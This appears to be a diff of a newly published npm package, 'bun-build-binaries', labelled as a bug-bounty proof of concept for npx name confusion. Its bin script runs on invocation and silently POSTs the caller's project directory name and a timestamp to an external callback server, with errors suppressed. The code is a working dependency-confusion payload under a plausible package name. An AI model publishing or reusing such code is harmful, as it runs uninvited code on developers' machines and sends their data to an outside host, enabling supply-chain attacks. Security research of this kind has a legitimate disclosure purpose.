bun-build-binaries 1.0.0

package/bin/run.js

@@ -0,0 +1,44 @@
+#!/usr/bin/env node
+
+// SECURITY RESEARCH: Harmless npx confusion PoC.
+// This package sends a simple "ping" to verify execution.
+// No system data, source code, or PII is accessed or transmitted.
+// Contact: dd_06@intigriti.me
+
+const http  = require('http');
+const https = require('https');
+const path  = require('path');
+
+// INIT_CWD is set by npm to the directory where npx was invoked from.
+const targetDir       = process.env.INIT_CWD || process.cwd();
+const safeProjectName = path.basename(targetDir);
+
+const info = {
+    pkg:       "bun-build-binaries",
+    timestamp: new Date().toISOString(),
+    transport: 'http (npx)',
+    project:   safeProjectName,
+};
+
+const CALLBACK_URL = "https://deepbounty.dd06-dev.fr/cb/ee2e23fe-5482-4b23-9c27-225b8504a634";
+
+function sendPing() {
+    const parsed   = new URL(CALLBACK_URL);
+    const postData = JSON.stringify(info);
+    const lib      = parsed.protocol === 'https:' ? https : http;
+
+    const req = lib.request(CALLBACK_URL, {
+        method: 'POST',
+        headers: {
+            'Content-Type':   'application/json',
+            'Content-Length': Buffer.byteLength(postData),
+        },
+        timeout: 15000,
+    }, (res) => { res.on('data', () => {}); });
+
+    req.on('error', () => {});
+    req.write(postData);
+    req.end();
+}
+
+sendPing();

package/package.json

@@ -0,0 +1,10 @@
+{
+	"name": "bun-build-binaries",
+	"version": "1.0.0",
+	"description": "Security PoC for Bug Bounty",
+	"main": "index.js",
+	"bin": {
+		"bun-build-binaries": "./bin/run.js"
+	},
+	"author": "dd_06"
+}